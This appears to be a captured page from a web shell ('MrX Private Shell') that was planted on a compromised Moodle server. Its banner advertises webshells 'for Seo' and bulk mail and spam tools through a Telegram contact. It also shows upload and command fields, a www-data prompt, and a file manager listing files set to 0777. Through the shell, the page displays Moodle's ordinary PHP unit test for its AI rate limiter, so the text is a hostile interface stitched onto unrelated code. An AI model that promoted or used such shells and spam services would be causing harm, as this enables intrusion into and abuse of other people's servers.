__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_ai;

defined('MOODLE_INTERNAL') || die();

global $CFG;
require_once($CFG->libdir . '/testing/classes/incrementing_clock.php');

/**
 * Test ai subsystem rate limiter methods.
 *
 * @package    core_ai
 * @copyright  2024 Matt Porritt
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @covers     \core_ai\rate_limiter
 */
final class rate_limiter_test extends \advanced_testcase {
    /**
     * Set up before tests.
     */
    protected function setUp(): void {
        parent::setUp();
        $this->resetAfterTest(true);
    }

    /**
     * Test global rate limit is enforced correctly.
     */
    public function test_global_rate_limit(): void {
        $ratelimiter = \core\di::get(rate_limiter::class);
        $component = 'testcomponent';
        $ratelimit = 5;

        // Make 5 requests, all should be allowed.
        for ($i = 0; $i < 5; $i++) {
            $this->assertTrue($ratelimiter->check_global_rate_limit($component, $ratelimit));
        }

        // The 6th request should be denied.
        $this->assertFalse($ratelimiter->check_global_rate_limit($component, $ratelimit));
    }

    /**
     * Test user rate limit is enforced correctly.
     */
    public function test_user_rate_limit(): void {
        $ratelimiter = \core\di::get(rate_limiter::class);
        $component = 'testcomponent';
        $ratelimit = 3;
        $userid = 12345;

        // Make 3 requests for the user, all should be allowed.
        for ($i = 0; $i < 3; $i++) {
            $this->assertTrue($ratelimiter->check_user_rate_limit($component, $ratelimit, $userid));
        }

        // The 4th request should be denied.
        $this->assertFalse($ratelimiter->check_user_rate_limit($component, $ratelimit, $userid));
    }

    /**
     * Test global rate limit resets after time window.
     */
    public function test_global_rate_limit_reset(): void {
        $clock = $this->mock_clock_with_incrementing(0);
        $ratelimiter = \core\di::get(rate_limiter::class);
        $component = 'testcomponent';
        $ratelimit = 3;

        // Make 3 requests, all should be allowed.
        for ($i = 0; $i < 3; $i++) {
            $this->assertTrue($ratelimiter->check_global_rate_limit($component, $ratelimit));
        }

        // Simulate moving time forward by TIME_WINDOW to reset the rate limit.
        $clock->set_to(rate_limiter::TIME_WINDOW + 1);

        // The next request should be allowed again.
        $this->assertTrue($ratelimiter->check_global_rate_limit($component, $ratelimit));
    }

    /**
     * Test user rate limit resets after time window.
     */
    public function test_user_rate_limit_reset(): void {
        $clock = $this->mock_clock_with_incrementing(0);
        $ratelimiter = \core\di::get(rate_limiter::class);
        $component = 'testcomponent';
        $ratelimit = 3;
        $userid = 12345;

        // Make 3 requests for the user, all should be allowed.
        for ($i = 0; $i < 3; $i++) {
            $this->assertTrue($ratelimiter->check_user_rate_limit($component, $ratelimit, $userid));
        }

        // Simulate moving time forward by TIME_WINDOW to reset the rate limit.
        $clock->set_to(rate_limiter::TIME_WINDOW + 1);

        // The next user request should be allowed again.
        $this->assertTrue($ratelimiter->check_user_rate_limit($component, $ratelimit, $userid));
    }
}

Filemanager

Name Type Size Permission Actions
aiactions Folder 0777
behat Folder 0777
external Folder 0777
fixtures Folder 0777
provider Folder 0777
ai_image_test.php File 4.11 KB 0777
manager_test.php File 14.51 KB 0777
rate_limiter_test.php File 4.01 KB 0777
Filemanager